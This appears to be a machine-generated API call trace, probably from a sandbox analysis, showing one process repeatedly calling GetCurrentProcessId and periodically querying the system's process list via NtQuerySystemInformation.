GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.865] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.866] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.867] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0275.868] GetCurrentProcessId () returned 0x10c0 [0276.376] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0276.381] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.382] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.383] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.384] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.385] GetCurrentProcessId () returned 0x10c0 [0276.890] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1dc00) returned 0x0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.893] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.894] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.895] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.896] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.897] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0276.898] GetCurrentProcessId () returned 0x10c0 [0277.468] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de48) returned 0x0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.471] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.472] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.473] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.474] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.475] GetCurrentProcessId () returned 0x10c0 [0277.982] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de48) returned 0x0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.013] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.014] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.015] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.016] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.017] GetCurrentProcessId () returned 0x10c0 [0278.528] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b8bf0d0 | out: SystemInformation=0x12517c70, ResultLength=0x1b8bf0d0*=0x1de48) returned 0x0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.530] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 [0278.531] GetCurrentProcessId () returned 0x10c0 